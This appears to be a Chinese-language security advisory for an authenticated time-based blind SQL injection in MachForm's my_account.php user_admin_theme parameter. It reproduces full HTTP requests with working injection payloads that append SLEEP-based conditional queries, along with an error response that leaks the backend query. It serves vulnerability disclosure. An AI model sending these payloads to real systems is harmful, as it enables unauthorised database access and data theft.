MachForm 到版本 19 在用户账户设置页面存在一个经过身份验证的盲 SQL 注入漏洞。
SQL 注入攻击是通过使用客户端应用程序的输入数据字段插入 SQL 查询来实现的。这种攻击允许访问数据库，进而可能导致现有数据的泄露、修改或删除。
盲 SQL 注入是一种特定类型的攻击，攻击者不会收到完整的查询结果，而只能询问真或假问题；这可以通过使用睡眠函数来强制延迟数据库响应或引发错误条件来实现。
my_account.php 资源中的 user_admin_theme 参数存在 SQL 注入漏洞。
请求：
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
响应：
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
这可以利用基于时间的攻击，通过使用睡眠条件并验证响应延迟是否根据请求的查询结果而变化来进行利用。
查询：
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
通过使用始终为真的条件，应用程序的响应时间超过 2000 毫秒。
请求：
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
查询：
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
而使用始终为假的条件，应用程序的响应几乎是即时的。
请求：
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
这个漏洞可以利用一个简单的脚本来利用，该脚本评估响应时间，以了解输入的查询是否返回了真或假的响应。
下面是一个使用 exploit.py 检索数据库当前用户的示例。
